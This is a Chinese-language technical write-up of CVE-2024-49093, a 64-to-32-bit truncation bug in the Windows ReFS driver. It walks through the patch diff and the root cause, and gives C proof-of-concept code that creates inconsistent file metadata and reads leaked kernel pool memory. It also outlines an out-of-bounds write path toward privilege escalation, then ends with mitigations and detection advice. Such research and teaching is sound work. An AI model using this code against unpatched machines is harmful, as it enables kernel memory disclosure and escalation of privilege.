CVE-2024-49093(ReFS漏洞分析)
字数 3443 2025-10-13 22:56:21
CVE-2024-49093 ReFS漏洞深度分析与教学文档
文档摘要
本文档基于京东安全团队发布的漏洞分析文章,对Windows ReFS文件系统中的内核漏洞CVE-2024-49093进行全面的技术解析。漏洞根源在于数值类型转换错误,导致文件元数据处于不一致状态,进而可被利用实现内核池的越界读取与写入。本文将逐步讲解ReFS基础、漏洞成因、PoC构造及利用链细节。
第一章:背景知识
1.1 ReFS(Resilient File System)简介
- 定位: Microsoft开发的新一代文件系统,旨在实现高数据可用性、高效处理海量数据,并通过校验和修复机制增强数据完整性。
- 核心特性:
- B+树结构(MinStore): 大多数内部对象(如文件数据、元数据)以键值对形式存储在B+树中。
- 写时复制(Copy-on-Write, COW): 数据更新不就地修改,而是创建新节点并更新父节点指针,直至根节点。这增强了崩溃一致性。
- 数据抽象: 文件的名称、数据、ACL等均被抽象为“属性”。
1.2 常驻(Resident)与非常驻(Non-Resident)属性
- 常驻属性: 当属性数据量较小时,其内容直接内联存储在对应的B+树记录中。访问速度快。
- 非常驻属性: 当数据量超过一定阈值(常驻阈值),属性内容将存储在磁盘的特定区域,而在B+树记录中只保存一个
VCN -> LCN的映射列表(称为runlist),用于定位数据块。
1.3 漏洞相关内核函数
RefsAddAllocationForResidentWrite: 该函数负责处理对常驻属性的数据写入请求。其核心逻辑是判断写入后数据是否会超过常驻阈值。- 如果未超过:则扩展当前常驻记录的分配大小。
- 如果超过:则调用
RefsConvertToNonResident将属性从常驻转换为非常驻。
第二章:漏洞定位与成因分析
2.1 补丁比对与定位
- 补丁版本: Windows 11 24H2 (Build 26100.2605) 的KB5048667更新。
- 定位方法: 使用Bindiff对比补丁前后的
refs.sys驱动文件,发现修复方式为新增一个特性开关函数Feature_4213557561__private_IsEnabledDeviceUsageNoInline,用于控制是否启用修复后的代码路径。该开关保护的函数正是RefsAddAllocationForResidentWrite。 - 官方分类: CWE-681: Incorrect Conversion between Numeric Types(数值类型转换不当)。
2.2 漏洞根因
漏洞存在于RefsAddAllocationForResidentWrite函数中,当特性开关未开启(即存在漏洞的旧代码路径)时,发生了错误的数值转换。
-
关键代码对比:
// 【修复后的正确路径】使用64位值 QuadPart = ranges->end.QuadPart; // 64位写入结束位置 // ... 使用 QuadPart 进行阈值判断和文件大小更新 ... v23.AllocationSize.QuadPart = QuadPart; // 【存在漏洞的旧路径】错误地使用了32位值 LowPart = ranges->end.LowPart; // 只取了64位结束位置的低32位! // ... 使用 LowPart 进行阈值判断和文件大小更新 ... v23.AllocationSize.QuadPart = LowPart; // 危险!将高32位截断归零 -
漏洞触发条件:
- ReFS版本 ≥ 3.11 (0x30B),此时常驻阈值为
0x800(2 KiB)。 - 写入操作的结束位置(
offset + size)必须满足:- 高32位不为0:即写入范围跨越4GB边界。
- 低32位 < 0x800:使代码误判为写入未超过阈值,仍可保持常驻。
- ReFS版本 ≥ 3.11 (0x30B),此时常驻阈值为
-
造成的后果:
文件控制块(SCB)中的AllocationSize(实际分配大小)被设置为一个被截断的、很小的值(如0x200),而FileSize(文件逻辑大小)却被正确更新为真实的大值(如0x100000200)。这导致了AllocationSize<<FileSize的元数据不一致状态。
第三章:概念验证(PoC)与崩溃分析
3.1 基础PoC代码
#include <windows.h>
int main() {
// 使用 FILE_FLAG_NO_BUFFERING 避免文件缓存管理器的干扰
HANDLE hFile = CreateFileW(
L"R:\\test_poc",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_NO_BUFFERING, // 关键标志
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("CreateFile failed: %lu\n", GetLastError());
return 1;
}
DWORD written = 0;
BYTE buffer[0x200]; // 写入512字节
memset(buffer, 'A', sizeof(buffer));
OVERLAPPED ov = {0};
ov.Offset = 0; // 偏移低32位
ov.OffsetHigh = 1; // 偏移高32位=1,确保写入结束于 1*4GB + 0x200 > 4GB
BOOL success = WriteFile(hFile, buffer, sizeof(buffer), &written, &ov);
if (success) {
printf("WriteFile succeeded. Written: %lu bytes\n", written);
} else {
printf("WriteFile failed: %lu\n", GetLastError());
}
CloseHandle(hFile);
return 0;
}
注意: 非缓存I/O要求写入长度和偏移必须是扇区大小(如512字节)的整数倍。
3.2 验证漏洞效果
执行PoC后,使用工具(如fsutil)查看文件属性,会发现:
AllocationSize(流分配大小):0x200字节EndOfFile(文件逻辑大小):0x100000200字节
这证实了元数据的不一致状态已成功创建。
第四章:漏洞利用链分析
利用上述不一致状态,可以构造两种利用原语:越界读和越界写。
4.1 越界读(OOB Read)
-
原理:
- 创建一个处于不一致状态的文件(
AllocationSize = 0x200,FileSize = 0x100000200)。 - 对该文件发起一个大于
AllocationSize的读取请求(如0x1000)。 - 内核函数
RefsNonCachedResidentRead会执行:- 通过
MsFindRow在B+树中找到文件的常驻属性记录。 - 调用
CmsRowWithBuffer::CopyRow将该记录的值部分复制到一个内核池内存块中。此池块大小根据常驻数据长度(0x200 + 头开销)分配,约为0x250。 - 最后,该函数将从这个
0x250大小的池块中,拷贝用户请求的0x1000字节到用户空间。 - 由于源缓冲区只有
0x250字节,而拷贝长度是0x1000,导致拷贝了0x1000 - 0x250 = 0xDB0字节的池内存相邻数据,实现越界读。
- 通过
- 创建一个处于不一致状态的文件(
-
利用代码关键步骤:
// ... 续接基础PoC的写入之后 ... DWORD bytesToRead = 0x1000; BYTE* readBuffer = (BYTE*)VirtualAlloc(NULL, bytesToRead, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); memset(readBuffer, 0, bytesToRead); OVERLAPPED readOv = {0}; readOv.Offset = 0; readOv.OffsetHigh = 0; // 从文件开头读 DWORD bytesRead = 0; success = ReadFile(hFile, readBuffer, bytesToRead, &bytesRead, &readOv); if (success) { printf("ReadFile succeeded. Read: %lu bytes\n", bytesRead); // 打印readBuffer,0x200字节后将是内核池中的相邻数据 // hexdump(readBuffer, bytesRead); }
4.2 越界写(OOB Write)
直接通过WriteFile进行越界写不可行,因为MsUpdateMetaRow函数会检查写入范围是否超出常驻记录的边界。但可以通过间接方式实现。
-
原理:利用
RefsConvertToNonResident函数。- 准备数据:先向文件写入一段数据(如
0x700字节),此时文件为常驻。 - 触发漏洞将AllocationSize置零:精心构造一次写入,利用漏洞将
AllocationSize截断为一个极小的值,甚至0。例如,通过设置偏移使ranges->end.LowPart = 0。 - 触发转换:随后,再发起一次写入(或直接触发转换条件),系统会调用
RefsConvertToNonResident,因为当前“常驻”状态的分配大小无法容纳新数据。 - 转换过程中的OOB:
RefsConvertToNonResident会为新的非常驻数据分配存储空间。分配的大小基于卷的扇区大小对齐。如果AllocationSize被篡改为0,它可能会计算并分配一个非常小的池块(如0x20字节)。- 该函数随后会将旧常驻数据(我们之前写入的
0x700字节)拷贝到这个新分配的、极小的池块中。 - 由于拷贝源数据长度(
0x700)远大于目标池块大小(0x20),导致数据覆盖到池块之后的内存,实现越界写。
- 准备数据:先向文件写入一段数据(如
-
利用价值:这种可控的越界写可以用于覆盖相邻内核对象的结构,如
POOL_HEADER、函数指针、权限标志等,是提权漏洞利用的关键一步。
第五章:总结与缓解
5.1 漏洞总结
- 根源: 64位到32位的数值截断错误。
- 直接效果: 造成文件元数据(
AllocationSize与FileSize)严重不一致。 - 利用原语: 基于不一致状态,通过ReFS固有的数据读写和转换路径,实现内核池的越界读取和写入。
- 复杂性: 利用链涉及对ReFS内部机制(如B+树操作、常驻/非常驻转换)的深入理解。
5.2 缓解措施
- 官方方案: 及时安装Windows安全更新(KB5048667及以上),这是最根本的解决方法。
- 临时缓解:在受影响系统中,若无必要,可不使用ReFS文件系统。
- 检测建议: 安全产品可监控对ReFS卷的、偏移跨越4GB边界且长度较小的写入操作,作为潜在攻击行为指标。
5.3 参考链接(源自原文)
- MSRC公告: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49093
- Winbindex(驱动版本查询): https://winbindex.m417z.com/?file=refs.sys
免责声明:本文档仅用于安全研究与教学目的。读者应遵守《中华人民共和国网络安全法》等相关法律法规,任何利用此处所述技术从事非法攻击的行为,责任自负。